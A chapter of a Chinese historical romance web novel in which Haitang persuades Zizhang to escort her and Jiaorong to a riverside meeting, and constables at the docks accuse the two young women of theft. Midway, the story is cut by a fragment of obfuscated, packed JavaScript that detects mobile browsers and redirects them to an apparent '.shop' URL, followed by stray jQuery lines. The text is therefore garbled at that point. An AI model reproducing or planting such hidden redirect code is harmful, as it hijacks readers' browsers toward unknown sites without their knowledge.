莲花池中的小亭独立水上，只有一道栈桥与外面的游廊相连。池水中清波涟涟，莲花出污泥而不染，高低错落、或开或合、吐露芬芳，游鱼在花下游弋。真是一处说悄悄话的好所在。
此地只有他们两个人，子璋连阿诚和小玉都不许他们跟过来，可见对接下来要说的事是多么谨慎。
子璋道：“这里只有你我二人，你只管放心，这下不会再有其他人偷听了。”
海棠深表怀疑：“你是不是已经知道我要说的是什么事了？”
“自然是不知。你到底说不说？不说我真的回房间了。”
“好好好，我说我说。”
于是海棠一五一十将娇容和九郎、三娘子的故事对子璋讲了，连同她派云画去送信，结果云画被打死的事也说了。她也不知道自己为什么就能对陈子璋和盘托出，仿佛那天生的信任感作祟。只感觉子璋似乎将自己都看透了，也将她和娇容的事看透了（虽然她费解：他是怎么猜出来的？）若是不实话实说，那么按照这人的性子，肯定不会答应帮她们的忙。
那么说了之后呢？海棠也不晓得他会是如何反应。冥冥中，她觉得此刻她可以信任他。
子璋默默听完这些故事。喟然叹了一声：“想不到娇容居然真的是如此大胆。”
“什么？”
他不答。
“如今都对你说了，我可半句都没有撒谎。——这不算出格的事吧？……她和那位九郎是海誓山盟的有情人，看着也挺可怜的。只不过见一面罢了，又能怎么样？别人难得托付我一次，总不能办不成事吧？”
她那时候似乎是在请求他的样子。子璋沉默了片刻，也不知在想什么，他走了几步栏杆前，看着水中的莲花。“好吧。既然你将实话都跟我说了，那我自然会答应带你们出府。”
“真的吗？？？！！！”海棠眼睛一亮：完全不敢相信自己听到的是事实。
陈子璋怎么会忽然这么好心？？？他答应得也太痛快了吧！海棠还以为要在这儿继续死磨硬泡一阵子，她连后续的话都想好了。没想到这么简单！
“当然是真的。”子璋眉头微蹙，有些不解地看她高兴成这样子。“我既然答应了的话，便没有不算数的。你怎么高兴成这样？别是很意外我会答应得这样快吧。”
海棠忍不住咧嘴呵呵笑，那眉眼间都绽放着开心喜乐。子璋看她开心成这样，仿佛见到他一直在想象的那种花朵又开放了，那到底是什么花呢？
“不过，我觉得你帮娇容做这件事，未免有些多管闲事了。”海棠正乐着呢，忽然就又听见子璋口中蹦出这么一句来。
“啊哈？你说什么？我多管闲事？？？？”
“你方才也说了，娇容这件事是一件无果之事。她们家这样的人家，将来必定会嫁给门当户对的勋爵之家，一个戏班卖艺的小子，根本不可能。”
海棠却不以为然，倚靠在栏杆去看那莲花：“那可不一定。人生意外之事随时都可能发生。你怎么就断定人家两个人最后不会走在一起？”
“意外也是在一定范围内才会发生的。她这种情况，根本不可能存在你说的这种意外。除非有非常大的变故——但那种条件几乎不可能发生，所以现在做什么都是徒劳而已。”
海棠看着他啧啧叹道：“看你年纪轻轻的，怎么已经看破红尘、心如死灰的样子了……”
“不是心如死灰。”子璋也扶着栏杆看那池水。“是对这个世界、这种秩序早已习惯。也知道它不会被改变。”
“你怎么知道不会改变？不试试怎么知道呢？你不也是觉得娇容应该追求自己喜欢的人，难道不应为了所爱的人大胆一试？我虽然无法理解他们的感情，因为我没有那种切身的体验，但是我觉得既然想要，就该去试试追求一下，干什么憋屈自己，违拗自己的心呢？”
“可是即便他们这次见了面又如何呢？难道娇容能跟着那九郎私奔不成？我敢打赌她不会，那九郎也不敢。这就是她试一试所必然迎来的结果。我想你心中大抵也是有数的吧？”
海棠听了，便沉默。确实她也觉得这两个人见面那是肯定不会有什么意外结果。
“所以，既然知道试了不会成功，又何必试？”
“你就会说丧气话。就算成功几率很小，最起码还有一丝希望。我在这主动的过程里我还能觉得高兴痛快。若是直接放弃，那不就等于主动认输找死？那多没劲！我要是你啊，估计长不到八岁就会被自己活活闷死了。”
子璋听了这话奇道：“为什么是八岁？”
“八岁就是我被送到寺庙里去休养的那年。”
子璋一阵无语。那不就是她学会狮吼功、暴怒变本加厉的那一年？估计海棠以为这是她人生一大得意转折。
“大小姐，你不爱主动认输，一直想要赢，那是你太要强。可是世间不如意事十之八九。”子璋感叹道。“不是人人都像大小姐你这样任意自由、出人意表还能逍遥自在的。”
海棠一听他这话，那熟悉的偏见味道又来了。忍不住反驳：“什么叫‘不是人人都像你’……搞得好像我多么独一无二一样，那么既然有我，为什么不能有第二个、第三个？陈大公子，你这偏见我早就忍不了了，你不要总以为我是特殊受宠，我之所以长成这样的个性，也是我爹爹对我管束自由，我们家里不像你们家这样臭规矩多。对规矩的理解不同、处理态度也不同，结果自然也不同。——所以，能不能改变，凡事都是人说了算。”
子璋竟被她说得一时语塞，陷入沉默和思索之中，同时也十分惊讶她这番话居然说得如此头头是道、逻辑清晰，从前他都没有听说过这样的想法。
忽然觉得她有些不一样了。
※※※※※
隔天，海棠和子璋就向陈老爷、陈夫人请示要和娇容出府，两位长辈欣然同意。又知会了将军府，那边自然也是完全放心，根本没有过问。一切都很顺利。于是下午娇容过来，子璋便领着海棠、娇容，带了阿诚、小玉和锦心几个心腹的仆从一起到了江都城中。
他们一开始确实浏览了几家店铺，娇容选了些针线绣品、布匹之类备用，以便能回家交差。之后便开启真正的任务——与九郎会面。
娇容领着海棠和子璋来到江边的一处码头。看来那三娘子所说的“老地方”，就是在这附近了。目之所及，码头上有不少待业的船工，他们三五成群聚在岸边，等待帮往来的货船卸货装货，雇佣他们上船谋生。还有一些是往来跑生意的小商小贩，批发和销售各类货物的商人，总之皆是一些三教九流、下里巴人，女子更是很少见到。
这个地方看起来和娇容、海棠二位贵族小姐是如此不相配，尤其她们今日出府，并没有特意换装束，如此锦衣华服更显突兀。子璋跟在二位小姐的身后，心中逐渐升起一种不好的预感。
远处忽然传来一阵急促的马蹄声，十数个官府捕快打扮的人纵马扬鞭，穿过人群。口中喊着“都给我好好找找！不要让人跑了！”他们一边指挥跑腿的听差在人群中寻找，一边骑在马上，仔细察看这码头上的每一个人。
看来在抓人。
“仔细找找，有没有？”
说话间那些人便盘查到海棠和娇容这儿来了。远远瞧见她们二位，自然觉得可疑。一位年轻的捕快叫道：“那里有两女子！”于是招呼其他众人，纷纷向这边纵马而来。
“你们站住。”最先一位捕快军官已经纵马来到他们面前，手中指指点点。“从哪儿来的？哪里人啊？要到什么地方去？”
他专意盯着海棠和娇容问。娇容吓得不敢吱声，紧紧抓着海棠。海棠自然不怕，回答说：“跟你有什么关系？问我们这些问题做什么？”
这捕快一听海棠的说话口音有异，便似发现了案情：“听口音，你们不是江都人？那更可疑了。仔细交代，先给本捕快站好了。”他翻身下马，招呼身后的下属过来盯人，此时其余几人也已围上来。
“怎么样？有情况了吗？”
“十分可疑。口音也不是江都人。”
“是吗？那赶紧仔细问问。你知道女贼长什么样吗？”
“我还没拿到通缉画像。”
捕快的手下们站成了一排，拦住去路，阵势十分唬人。
“到底发生了什么？这些是什么人？”海棠低声问子璋。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323824|199110||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“是缉盗厅的人，应该是在抓什么窃贼。”子璋刚才听到了他们说的几句话。
“抓窃贼跟我们有什么关系？？”海棠纳闷了。
此时那为首的缉盗厅捕头道：“是这样。江都出现了一名女贼，偷了王爷家的财物，逃到这边来了。我们得到消息，到这儿来巡察。你们两个……”指着海棠和娇容，“嗯，十分可疑！”
“我们？我们哪里可疑了？？”海棠颇有些不忿。
“这边码头上都是些等待揽工的粗汉和跑生意的男人，两位小姐如花似玉，身着华贵，穿成这样招摇过市，不可疑吗？？说吧，交代清楚从哪儿来的？要去哪儿？做什么？”
海棠瞪了他一眼：“我们怎么不能出现在这里了？腿长在我们身上，你管得着我们到哪儿去？我们想去哪儿就去哪儿，这码头热闹，我们看着好玩，过来转转，不行吗？”
捕头颇有些意外：“哟！脾气还挺大啊。那更可疑了。女贼可不就是脾气爆得很么？来呀，给我搜一搜他们带的东西。”
捕头命令下达，几位听差就过来要夺小玉和阿诚手里带的东西。海棠想要阻拦，但是无济于事，对方人多势众。子璋拉住她摇了摇头，示意不要与之强行对抗。
“你是死人吗？他们这么欺负人，你话都不说一句？”海棠怒道。
“这是他们缉盗厅的权力，你拦着有什么用？且先观察观察，一定有什么误会。”子璋低声补充道：“我们今天出来这件事万万不可说出去，否则娇容和你都有万劫不复之险。”
“还用你讲。”海棠回了一嘴，都不想理他。只能勉强压下怒火，任由这些人搜了他们带的东西。
听差将那些搜出来的物事给捕快们看，这捕头见都是些针线、刺绣、布匹之类的寻常东西，很是不满。
“搜出财宝了吗长官？没有吧？”海棠冷笑。
“你们到底是来做什么的？”
海棠都不想和他说话了。此时子璋说道：“这位长官，这是我家两位妹子，我带她们出来是来买些女儿家的针线用品的，没有什么可疑的。应该有什么误会，还请您明断。”
捕头听子璋说话倒还客气，态度好了一些。但仍旧质疑：“买针线怎么买到这里来了？这儿是卖针线的地方吗？”
“我们到这儿来玩玩不行啊？你在这里浪费时间，贼人已经跑了！……”海棠刚堵了他几句，便被子璋拉住。
“舍妹顽皮，总喜欢到热闹的地方去瞧瞧，便由着她们走，到这儿来了。”
子璋这回答和海棠没什么区别，只是客气一点换汤不换药，那捕头听得疑心仍未去。另一个捕快在旁听了半天了，这时问了一句：“你们是江都哪儿家的？报上家门来。”
海棠刚想回答，转念却想不合适，等着看陈子璋。子璋也不想说，推辞了几句。只说是“儿女顽劣，家门不便透露”。那捕头见他们言辞躲闪隐瞒，更不可能放人了。“也不说是哪儿来的，让我怎么信你们？这一位娘子，脾气还这么厉害，口气不善，谈吐举止嘛……”他笑嘻嘻地摸着自己的胡须。“不像是什么大家高门出来的，倒有点像是春禧楼的那几个泼辣姐儿。”
春禧楼就是江都最大的青楼，海棠虽然不知道，但她自小在秀峰城里呼风唤雨，怎听不明白？她早就看不顺眼了，此时当即暴怒：
“你放的什么屁？！瞎了你的狗眼了！咱们是什么人家出来的，是你能几句话瞧出来的？”
“你说什么？？？？”那捕头听他被海棠骂得这几句不中听至极，脸上一副难以置信的表情。
“我说你瞎了狗眼！那嘴巴里方才喷的什么粪，恶不恶心啊你？我们都是正经人家的姑娘，好端端什么事都没做，竟然怀疑我们是贼？你是脑子被驴踢了还是怎么，缉盗厅都是这么猪脑子当家的嘛？”
子璋见她这话说出来简直就如瀑布飞流直下，止都止不住，心知也没法了，闭上眼等待那捕头的暴怒。那人果然气得脸色由红转白，又由白转青，旁边几个捕快还有下属听差都傻眼了。
虽然说捕快们三教九流各色人等见得多了，但是说话如此粗鲁、脾气如此爆炸的高门闺秀，他们也是头一次见。